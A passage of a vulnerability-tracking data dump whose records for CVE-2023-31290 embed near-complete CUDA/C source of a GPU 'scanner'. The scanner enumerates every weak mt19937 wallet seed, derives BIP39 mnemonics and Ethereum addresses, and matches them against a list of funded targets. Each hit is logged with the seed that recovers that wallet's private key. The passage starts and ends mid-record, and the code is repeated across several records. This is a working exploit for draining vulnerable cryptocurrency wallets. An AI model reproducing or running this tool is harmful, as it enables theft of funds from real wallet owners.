CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch((uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:27:06.835082Z"}, {"uuid": "33622842-6993-45c3-a005-45b5d888e638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/35e681d3d17540ee801f9da7be0cfeeb", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x >> n) | (x << (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) |\n         ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | ((uint64_t)p[6] << 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x >> 56); p[1] = (uint8_t)(x >> 48); p[2] = (uint8_t)(x >> 40); p[3] = (uint8_t)(x >> 32);\n  p[4] = (uint8_t)(x >> 24); p[5] = (uint8_t)(x >> 16); p[6] = (uint8_t)(x >> 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i < 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i < 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] >> 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] >> 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i < 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e & f) ^ ((~e) & g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n >= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n >= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i < 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key < 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i < 128; i++) {\n    uint8_t k = (i < klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i < 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j < 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i < 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] >> 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i < 624; i++) {\n    uint32_t y = (mt[i] & 0x80000000u) | (mt[(i + 1) % 624] & 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y >> 1);\n    if (y & 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i < 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y >> 11;\n    y ^= (y << 7) & 0x9d2c5680u;\n    y ^= (y << 15) & 0xefc60000u;\n    y ^= y >> 18;\n    ent[i] = (uint8_t)(y & 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i < 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] << 24) | ((uint32_t)blk[4 * i + 1] << 16) | ((uint32_t)blk[4 * i + 2] << 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i < 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] >> 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] >> 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i < 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e & f) ^ ((~e) & g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a & b) ^ (a & c) ^ (b & c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a >> 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w < 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j < 11; j++) {\n      int p = bit + j;\n      idx = (idx << 1) | ((bits[p >> 3] >> (7 - (p & 7))) & 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k < wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i >= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &olen) && olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index & 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &clen, &pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index >> 24); data[34] = (uint8_t)(index >> 16);\n    data[35] = (uint8_t)(index >> 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &ulen, &pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets && bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i < 20; i++) { out[2 + 2 * i] = h[a[i] >> 4]; out[3 + 2 * i] = h[a[i] & 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd < 0) return -1;\n  struct stat st;\n  if (fstat(fd, &st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 && strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&d_out, 64));\n  k_derive_seed64<<<1, 1>>>(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i < 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i < 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu->eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok && aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n#pragma omp for schedule(static)\n    for (int i = 0; i < n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&hits_mu);\n        __sync_fetch_and_add(&g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i < n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 && in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  __sync_fetch_and_add(&g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL << 32;\n  int threads = 256;\n  if (argc >= 2 && !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev < 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i < argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") && i + 1 < argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") && i + 1 < argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") && i + 1 < argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") && i + 1 < argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") && i + 1 < argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&ndev));\n  if (ndev < 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 << 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev > 0 ? ndev : 1);\n  if (g_inner_threads < 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at > (1ULL << 32)) done_at = 1ULL << 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s < my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n > my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64<<>>((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&g_hits, 0);\n        double r = done / (sec > 0.001 ? sec : 0.001);\n        double eta = r > 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:27:06.975017Z"}, {"uuid": "ea2b0e3a-384b-4da4-8f65-e7155a92adba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/164932e17b7d24453beb2bb4fb5bb345", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -> BIP39-128 mnemonic -> PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -> keccak ETH addr -> funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 